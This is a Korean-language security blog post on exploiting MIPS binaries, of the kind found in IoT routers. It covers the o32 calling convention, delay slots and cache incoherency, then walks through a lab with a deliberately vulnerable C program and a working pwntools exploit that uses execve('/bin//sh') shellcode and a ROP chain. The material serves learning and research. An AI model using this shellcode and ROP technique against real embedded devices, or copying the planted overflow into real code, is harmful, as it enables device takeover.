| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | |||||
| 3 | 4 | 5 | 6 | 7 | 8 | 9 |
| 10 | 11 | 12 | 13 | 14 | 15 | 16 |
| 17 | 18 | 19 | 20 | 21 | 22 | 23 |
| 24 | 25 | 26 | 27 | 28 | 29 | 30 |
| 31 |
- kernel exploit
- 라우터
- tp link
- fini array
- openwrt
- Router
- 커널
- UART
- protection ring
- 공유기
- System Management Mode
- mr 100
- exit handler overwrite
- e
- Pwnable
- Slab free list poisoning
- exploit
- ROP
- 익스플로잇
- memory
- SMM
- Cross-cache attack
- linux ring 권한 구조
- tl mr 100
- Kernel
- mips
- hardware hakcing
- physmap
- Today
- Total
haehet
MIPS Architecture Exploitation 본문
최근 임베디드 장비를 분석하던 중 발견한 취약점을 실제로 검증하고 공략하기 위해서는 해당 제품이 사용하는 아키텍처에 대한 이해가 필요하다는 것을 느꼈다. 특히 공유기와 같은 IoT 장비에서는 ARM뿐만 아니라 MIPS 기반 바이너리도 자주 등장한다.
MIPS는 x86과는 다른 레지스터 구조, 함수 호출 규약, 스택 프레임, 분기 방식 등을 가지고 있다. 따라서 기존에 x86-64 환경에서 익스플로잇을 작성하던 방식만으로는 MIPS 바이너리를 분석하거나 ROP 체인을 구성하기 어렵다
.
이번 글에서는 MIPS Architecture의 기본적인 구조와 주요 명령어 호출 규약 스택 프레임의 특징을 정리하고 이를 바탕으로 MIPS 환경에서 BOF와 ROP를 어떤 관점으로 분석해야 하는지 살펴보려고 한다.
1. MIPS란?
MIPS란 Microprocessor without Interlocked Pipeline Stages의 약자로 스탠포드 대학교에서 개발한 RISC 계열 CPU 아키텍쳐이다. MIPS의 핵심 설계 철학은 CPU 명령어와 하드웨어 구조를 최대한 단순하게 유지하는 것이다. CISC 계열 아키텍처처럼 하나의 명령어가 복잡한 작업을 수행하기보다는 단순한 명령어들을 조합하여 프로그램을 실행한다. 이런 구조 덕분에 명령어 디코딩이 단순하고 파이프라인 구성이 깔끔해지며 임베디드 환경에서도 비교적 효율적으로 사용할 수 있다.
MIPS는 현재 고성능 PC에서 주류로 사용되는 아키텍처는 아니지만, 공유기, 셋톱박스, 네트워크 장비, IoT 기기 같은 임베디드 장비에서는 오랫동안 사용되어 왔다. 실제로 공유기 펌웨어를 분석하다 보면 MIPS 기반 바이너리를 자주 볼 수 있다.
2. MIPS Instruction
이번 글에서는 MIPS 아키텍쳐에서의 익스플로잇을 중점으로 다룰 것이므로 명령어에 대한 설명은 cheat sheet 1개만 남기겠다.

3. MIPS Calling Convention
x86-64에서는 함수 인자가 보통 rdi, rsi, rdx, rcx 등의 레지스터를 통해 전달된다. 반면 MIPS o32 ABI에서는 첫 번째부터 네 번째 인자까지를 $a0 ~ $a3 레지스터를 통해 전달한다. 함수의 반환값은 $v0에 저장되며 함수 호출 후 돌아갈 주소는 $ra 레지스터에 저장된다.
다음과 같이 간단한 프로그램을 통해 스택 구성을 알아보자.
#include <stdio.h>
#include <unistd.h>
int print(const char*msg, int time){
for (int k = 0; k < time; k++){
printf("%s\n", msg);
}
}
int main(){
print("aslkdfkalsdfads", 3);
}
먼저 위 프로그램을 실행 시키고 print 함수에 bp를 걸면 다음과 같이 a0에는 전달한 문자열이, a1에는 3이 들어있는 것을 확인가능하다.

MIPS o32 ABI에서는 첫 4개의 인자가 $a0~$a3 레지스터로 전달된다. 하지만 ABI상 caller는 callee가 이 인자들을 저장할 수 있도록 stack frame 끝쪽에 4개 word, 즉 16바이트의 argument slot을 예약한다. 따라서 callee는 필요하다면 $a0, $a1 값을 자신의 frame 위쪽 즉 caller가 예약한 incoming argument slot에 저장할 수 있다.

다음과 같이 $ra 레지스터 뒤에 incoming argument slot이 존재하는 것을 볼 수 있다.

4. Delay Slot
Delay slot은 분기 명령어 바로 다음에 있는 명령어가 분기 결과와 관계없이 실행되는 구조를 말한다. 예를 들어 다음 코드를 보면
beq a0, zero, target
addiu v0, v0, 1
$a0 == 0 이면 target으로 jmp 하고 그 아래의 명령어는 실행이 되지 않을 것 같지만 실제로는 다음과 같이 동작한다.
1. beq 조건을 검사한다.
2. 바로 다음 명령어인 addiu v0, v0, 1을 실행한다.
3. 그 다음 조건이 참이면 target으로 점프하고 거짓이면 그대로 아래로 진행한다.
즉, 위 코드에서 addiu v0, v0, 1은 a0 == 0이든 아니든 실행된다. 이때 분기 명령어 바로 뒤에 있는 한 명령어 위치를 delay slot이라고 부른다. (Delay slot이 만들어진 이유에 대해서는 따로 다루지 않겠다.)

5. Cache Incoherency
MIPS 계열 CPU는 보통 명령어를 가져오는 Instruction Cache(I-Cache)와 데이터를 읽고 쓰는 Data Cache(D-Cache)를 분리해서 사용한다.

일반적인 프로그램에서는 이 차이를 크게 신경 쓸 일이 없다. 하지만 exploit에서 stack이나 heap에 shellcode를 쓴 뒤 그 주소로 직접 jump하려고 하면 문제가 생길 수 있다.

위 문제를 해결하기 위해 주로 사용되는 방법은 sleep() 함수를 호출하는 것이다. sleep 함수를 호출하면 syscall/context switch/시간 경과로 인해 cache 상태가 바뀌면서 shellcode 실행 안정성이 높아질 수 있기 때문이다.
6. Stack Buffer Overflow Exploit
위 내용을 바탕으로 간단하게 Stack based BOF 예제를 실습해보자. 실습해볼 코드는 다음과 같다. (Cache Incoherency 우회용으로 sleep을 ROP로 호출하는 것은 너무 귀찮으므로 그냥 sleep(1)을 중간에 직접 넣었따).
#include <stdio.h>
#include <unistd.h>
int vuln(){
char buf[30];
printf("Payload: ");
read(0, buf, 0x300);
sleep(1);
printf("I hope you to get shell\n");
return 0;
}
int main(){
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
}
익스플로잇은 다음과 같이 shellcode를 뿌리고 s0에 sp 관련 주소를 넣은뒤 해당 주소로 jmp를 했다.
#!/usr/bin/env python3
from pwn import *
p = process([
"qemu-mipsel-static",
"-L", "/usr/mipsel-linux-gnu",
"./main"
])
context.log_level = 'info'
libc_base = 0x2b310000
pop_gadget = libc_base + 0x00052bf0
gadget_B = libc_base + 0x0013eda4
call_s0 = libc_base + 0x001ab95c
# [1] Shellcode
shellcode = (
b"\x69\x6e\x02\x3c" # lui v0, 0x6e69
b"\x2f\x62\x42\x24" # addiu v0, v0, 0x622f
b"\xec\xff\xa2\xaf" # sw v0, -0x14(sp) # "/bin"
b"\x73\x68\x03\x3c" # lui v1, 0x6873
b"\x2f\x2f\x63\x24" # addiu v1, v1, 0x2f2f
b"\xf0\xff\xa3\xaf" # sw v1, -0x10(sp) # "//sh"
b"\xf4\xff\xa0\xaf" # sw zero, -0xc(sp)
b"\xfc\xff\xa0\xaf" # sw zero, -4(sp)
b"\xfc\xff\xa6\x27" # addiu a2, sp, -4
b"\xec\xff\xa4\x27" # addiu a0, sp, -0x14
b"\xf8\xff\xa4\xaf" # sw a0, -8(sp)
b"\xf8\xff\xa5\x27" # addiu a1, sp, -8
b"\xab\x0f\x02\x24" # li v0, 4011 # execve
b"\x0c\x01\x01\x01" # syscall 0x40404
)
# [2] ROP payload
payload = b"a" * 0x24
payload += p32(pop_gadget)
payload += b"B" * 0x18
payload += p32(0) # s0 dummy
payload += p32(0) # s1 dummy
payload += p32(0) # s2 dummy
payload += p32(call_s0) # s3 = jr s0 gadget
payload += p32(0) # s4 dummy
payload += p32(gadget_B) # ra = sp_to_s0 + call_s3 gadget
payload += b"C" * 0x2c
payload += shellcode
p.sendafter(b"Payload: ", payload)
p.interactive()
'''
0x00052bf0:
addiu $a0, $a0, -0x26f8
lw $ra, 0x2c($sp)
lw $s4, 0x28($sp)
lw $s3, 0x24($sp)
lw $s2, 0x20($sp)
lw $s1, 0x1c($sp)
lw $s0, 0x18($sp)
jr $ra
addiu $sp, $sp, 0x30
0x0013eda4:
addiu $s0, $sp, 0x2c
sw $a0, 0x1c($sp)
move $t9, $s3
jalr $t9
addiu $s2, $sp, 0x1c
0x001ab95c:
jr $s0
addi $zero, $zero, 0x10
'''

7. 마무리
reference:
https://www.cs.cornell.edu/courses/cs3410/2008fa/MIPS_Vol3.pdf ㅈ
https://www.cs.unm.edu/~jeffk/cs341f09/_media/o32callingconvention.pdf
https://jeongzero.oopy.io/67f7f2ce-2e58-461c-b65a-f3453efe96c4
'Pwnable' 카테고리의 다른 글
| tcache_perthread_struct overwriting (0) | 2026.01.26 |
|---|---|
| FSOP 정리 (0) | 2025.11.08 |
| heap exploit 정리 (0) | 2025.11.05 |
| side channel attack(with assembly) (0) | 2025.10.02 |
| 프로그램 시작, 종료 과정 및 관련 취약점 분석 (0) | 2025.08.23 |
